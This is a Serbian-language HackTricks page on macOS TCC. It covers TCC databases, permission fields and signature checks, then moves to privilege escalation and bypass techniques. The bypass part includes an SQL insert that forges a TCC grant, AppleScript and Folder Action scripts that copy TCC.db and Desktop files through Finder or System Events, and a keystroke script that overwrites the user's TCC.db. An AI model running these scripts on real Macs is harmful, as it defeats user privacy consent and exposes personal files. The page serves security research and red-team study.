macOS TCC

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

TCC (Transparentnost, Saglasnost i Kontrola) je sigurnosni protokol koji se fokusira na regulisanje dozvola aplikacija. Njegova osnovna uloga je da zaštiti osetljive funkcije poput usluga lokacije, kontakata, fotografija, mikrofona, kamere, pristupačnosti i pristupa celom disku. Zahtevajući eksplicitnu saglasnost korisnika pre nego što aplikacija dobije pristup ovim elementima, TCC unapređuje privatnost i kontrolu korisnika nad njihovim podacima.

Korisnici se susreću sa TCC-om kada aplikacije zatraže pristup zaštićenim funkcijama. To je vidljivo kroz prozor koji korisnicima omogućava da odobre ili odbiju pristup. Osim toga, TCC omogućava direktna korisnička dejstva, poput prevlačenja i ispuštanja fajlova u aplikaciju, kako bi se odobrio pristup određenim fajlovima, obezbeđujući da aplikacije imaju pristup samo onome što je eksplicitno dozvoljeno.

TCC upravlja daemonom smeštenim u /System/Library/PrivateFrameworks/TCC.framework/Support/tccd i konfigurisan u /System/Library/LaunchDaemons/com.apple.tccd.system.plist (registrovanje mach servisa com.apple.tccd.system).

Postoji tccd u režimu korisnika koji se pokreće po prijavljivanju korisnika, definisan u /System/Library/LaunchAgents/com.apple.tccd.plist, registrovanje mach servisa com.apple.tccd i com.apple.usernotifications.delegate.com.apple.tccd.

Ovde možete videti tccd koji se izvršava kao sistem i kao korisnik:

ps -ef | grep tcc
0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

Dozvole se nasleđuju od roditeljske aplikacije i dozvole se prate na osnovu Bundle ID-a i Developer ID-a.

TCC Baze podataka

Dozvole/zabrane se zatim čuvaju u nekim TCC bazama podataka:

  • Sistemski široka baza podataka u /Library/Application Support/com.apple.TCC/TCC.db.

  • Ova baza podataka je SIP zaštićena, tako da samo SIP prekidač može da piše u nju.

  • Korisnička TCC baza podataka $HOME/Library/Application Support/com.apple.TCC/TCC.db za korisničke preference.

  • Ova baza podataka je zaštićena tako da samo procesi sa visokim TCC privilegijama poput Puna disk pristupa mogu da pišu u nju (ali nije zaštićena SIP-om).

Prethodne baze podataka su takođe TCC zaštićene za čitanje pristupa. Tako da nećete moći da pročitate svoju redovnu korisničku TCC bazu podataka osim ako je to iz procesa sa TCC privilegijama.

Međutim, zapamtite da će proces sa ovim visokim privilegijama (kao što su FDA ili kTCCServiceEndpointSecurityClient) moći da piše u korisničku TCC bazu podataka.

  • Postoji treća TCC baza podataka u /var/db/locationd/clients.plist koja označava klijente koji imaju dozvolu za pristup lokacijskim uslugama.

  • SIP zaštićena datoteka /Users/carlospolop/Downloads/REG.db (takođe zaštićena od čitanja pristupa sa TCC), sadrži lokaciju svih validnih TCC baza podataka.

  • SIP zaštićena datoteka /Users/carlospolop/Downloads/MDMOverrides.plist (takođe zaštićena od čitanja pristupa sa TCC), sadrži više TCC odobrenih dozvola.

  • SIP zaštićena datoteka /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (ali čitljiva od strane bilo koga) je lista aplikacija koje zahtevaju TCC izuzetak.

TCC baza podataka u iOS-u je u /private/var/mobile/Library/TCC/TCC.db

UI centar za obaveštenja može napraviti promene u sistemskoj TCC bazi podataka:

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

Međutim, korisnici mogu brisati ili upitati pravila pomoću tccutil komandne linije.

Upitaj baze podataka

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

Proverom oba baze podataka možete proveriti dozvole koje je aplikacija dozvolila, zabranila ili nema (zatražiće je).

  • service je TCC string reprezentacija dozvole

  • client je bundle ID ili putanja do binarnog fajla sa dozvolama

  • client_type označava da li je u pitanju identifikator paketa(0) ili apsolutna putanja(1)

Kako izvršiti ako je u pitanju apsolutna putanja

Samo uradite launctl load you_bin.plist, sa plist fajlom kao što je:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>

<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>

<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>

<!-- Run at load -->
<key>RunAtLoad</key>
<true/>

<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>

<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
  • auth_value može imati različite vrednosti: denied(0), unknown(1), allowed(2), ili limited(3).

  • auth_reason može imati sledeće vrednosti: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)

  • Polje csreq služi da naznači kako proveriti binarnu datoteku za izvršavanje i dodeliti TCC dozvole:

# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"

Takođe možete proveriti već dodeljene dozvole aplikacijama u System Preferences --> Security & Privacy --> Privacy --> Files and Folders.

Korisnici mogu brisati ili upitati pravila koristeći tccutil.

Resetovanje TCC dozvola

# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All

Provere potpisa TCC

TCC baza podataka čuva Bundle ID aplikacije, ali takođe čuva informacije o potpisu kako bi proverila da li je aplikacija koja traži dozvolu za korišćenje tačno ona.

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

Zbog toga druge aplikacije koje koriste isto ime i identifikator paketa neće moći pristupiti odobrenim dozvolama date drugim aplikacijama.

Ovlašćenja i TCC Dozvole

Aplikacije ne samo da moraju zatražiti i dobiti pristup određenim resursima, već takođe moraju imati relevantna ovlašćenja. Na primer, Telegram ima ovlašćenje com.apple.security.device.camera za zahtevanje pristupa kameri. Aplikacija koja nema ovo ovlašćenje neće moći pristupiti kameri (i korisnik neće biti ni pitam za dozvole).

Međutim, da bi aplikacije pristupile određenim korisničkim fasciklama, kao što su ~/Desktop, ~/Downloads i ~/Documents, ne moraju imati određena ovlašćenja. Sistem će transparentno upravljati pristupom i pitati korisnika po potrebi.

Apple-ove aplikacije neće generisati prozore sa upitima. One sadrže unapred odobrena prava na svojoj listi ovlašćenja, što znači da nikada neće generisati iskačući prozor, niti će se pojaviti u bilo kojoj od TCC baza podataka. Na primer:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>

Ovo će sprečiti Kalendar da traži od korisnika pristup podsetnicima, kalendaru i adresaru.

Pored nekih zvaničnih dokumenata o ovlašćenjima, takođe je moguće pronaći nezvanične interesantne informacije o ovlašćenjima na https://newosxbook.com/ent.jl

Neke TCC dozvole su: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Ne postoji javna lista koja definiše sve od njih, ali možete proveriti ovaj spisak poznatih.

Osetljiva nezaštićena mesta

  • $HOME (sama po sebi)

  • $HOME/.ssh, $HOME/.aws, itd

  • /tmp

Korisnička namera / com.apple.macl

Kao što je ranije pomenuto, moguće je dodeliti pristup aplikaciji fajlu prevlačenjem i ispuštanjem. Ovaj pristup neće biti naveden u bilo kojoj TCC bazi podataka već kao prošireni atribut fajla. Ovaj atribut će čuvati UUID odobrene aplikacije:

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

Zanimljivo je da se atribut com.apple.macl upravlja preko Sandbox-a, a ne preko tccd.

Takođe, imajte na umu da ako premestite datoteku koja omogućava UUID aplikacije na vašem računaru na drugi računar, jer ista aplikacija će imati različite UID-ove, neće omogućiti pristup toj aplikaciji.

Prošireni atribut com.apple.macl ne može biti očišćen kao ostali prošireni atributi jer je zaštićen SIP-om. Međutim, kao što je objašnjeno u ovom postu, moguće je onemogućiti ga zipovanjem datoteke, brisanjem i dekompresijom.

TCC Privesc & Bypasses

Ubacivanje u TCC

Ako u nekom trenutku uspete da dobijete pristup pisanja preko TCC baze podataka, možete koristiti nešto slično sledećem kako biste dodali unos (uklonite komentare):

Primer ubacivanja u TCC

```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```

TCC Payloads

Ako ste uspeli da uđete u aplikaciju sa nekim TCC dozvolama, proverite sledeću stranicu sa TCC payloadima kako biste ih zloupotrebili:

Apple događaji

Saznajte više o Apple događajima u:

Automatizacija (Finder) do FDA*

TCC ime dozvole za Automatizaciju je: kTCCServiceAppleEvents Ova specifična TCC dozvola takođe ukazuje na aplikaciju koja može biti upravljana unutar TCC baze podataka (tako da dozvole ne dozvoljavaju upravljanje svime).

Finder je aplikacija koja uvek ima FDA (čak i ako se ne prikazuje u korisničkom interfejsu), tako da ako imate Automatizaciju privilegije nad njom, možete zloupotrebiti njene privilegije da izvršava određene radnje. U ovom slučaju, vaša aplikacija bi trebalo da ima dozvolu kTCCServiceAppleEvents nad com.apple.Finder.

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

Možete zloupotrebiti ovo da napišete svoju bazu podataka korisnika TCC.

Sa ovlašćenjem moći ćete zatražiti od Findera pristup ograničenim fasciklama TCC i dati vam fajlove, ali koliko znam nećete moći da naterate Finder da izvrši proizvoljan kod kako biste potpuno zloupotrebili njegov pristup FDA.

Stoga, nećete moći zloupotrebiti sve mogućnosti FDA.

Ovo je TCC prozor za dobijanje privilegija automatizacije nad Finderom:

Imajte na umu da zato što aplikacija Automator ima TCC ovlašćenje kTCCServiceAppleEvents, može kontrolisati bilo koju aplikaciju, poput Findera. Dakle, imajući ovlašćenje za kontrolu Automatora, takođe biste mogli kontrolisati Finder pomoću koda kao što je prikazano ispod:

Get a shell inside Automator

```applescript osascript<

tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD

Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

</details>

Isto se dešava i sa aplikacijom **Script Editor,** može kontrolisati Finder, ali korišćenjem AppleScript-a ne možete ga naterati da izvrši skriptu.

### Automatizacija (SE) ka nekim TCC

**System Events može kreirati Folder Actions, a Folder Actions mogu pristupiti nekim TCC folderima** (Desktop, Documents & Downloads), tako da se skripta poput sledeće može koristiti za zloupotrebu ovog ponašanja:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true

-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath

-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if

-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

Automatizacija (SE) + Pristupačnost (kTCCServicePostEvent|kTCCServiceAccessibility) do FDA*

Automatizacija na System Events + Pristupačnost (kTCCServicePostEvent) omogućava slanje tastera procesima. Na ovaj način možete zloupotrebiti Finder da promenite korisnički TCC.db ili da date FDA proizvoljnoj aplikaciji (mada će možda biti potrebna lozinka za ovo).

Primer prebrisavanja korisničkog TCC.db putem Findera:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate

-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1

-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1

-- Resolve $HOME environment variable
set homePath to system attribute "HOME"

-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1

-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1

-- Paste the file
keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility ka FDA*

Proverite ovu stranicu za neke payload-ove za zloupotrebu dozvola za pristupačnost kako biste postigli privesc do FDA* ili pokrenuli keylogger na primer.

Klijent za bezbednost krajnjih tačaka ka FDA

Ako imate kTCCServiceEndpointSecurityClient, imate FDA. Kraj.

Sistemski pravilnik SysAdmin fajlova ka FDA

kTCCServiceSystemPolicySysAdminFiles omogućava promenu atributa NFSHomeDirectory korisnika što menja njegov matični folder i time omogućava zaobilazak TCC.

Korisnička TCC baza podataka ka FDA

Dobijanje dozvola za pisanje nad korisničkom TCC bazom podataka ne možete sebi dodeliti FDA dozvole, samo onaj koji živi u sistemskoj bazi podataka može to da dodeli.

Ali možete sebi dati Automatizaciju prava za Finder, i zloupotrebiti prethodnu tehniku za pristup do FDA*.

FDA ka TCC dozvolama

Pristup celom disku u TCC naziv je kTCCServiceSystemPolicyAllFiles

Ne mislim da je ovo pravi privesc, ali u slučaju da vam bude korisno: Ako kontrolišete program sa FDA možete modifikovati korisničku TCC bazu podataka i sebi dati bilo kakav pristup. Ovo može biti korisno kao tehnika upornosti u slučaju da izgubite svoje FDA dozvole.

SIP zaobilazak ka TCC zaobilasku

Sistem TCC baza podataka je zaštićena sa SIP, zbog toga samo procesi sa naznačenim privilegijama će moći da je modifikuju. Dakle, ako napadač pronađe SIP zaobilazak nad fajlom (može da modifikuje fajl ograničen SIP-om), biće u mogućnosti da:

  • Ukloni zaštitu TCC baze podataka i dodeli sebi sve TCC dozvole. Mogao bi zloupotrebiti bilo koji od ovih fajlova na primer:

  • TCC sistemsku bazu podataka

  • REG.db

  • MDMOverrides.plist

Međutim, postoji još jedna opcija za zloupotrebu ovog SIP zaobilaska za zaobilaženje TCC, fajl /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist je lista aplikacija koje zahtevaju TCC izuzetak. Dakle, ako napadač može ukloniti SIP zaštitu sa ovog fajla i dodati svoju sopstvenu aplikaciju aplikacija će moći da zaobiđe TCC. Na primer, dodati terminal:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
DozvoljeneAplikacijeList.plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>

TCC Bypasses

Reference

Last updated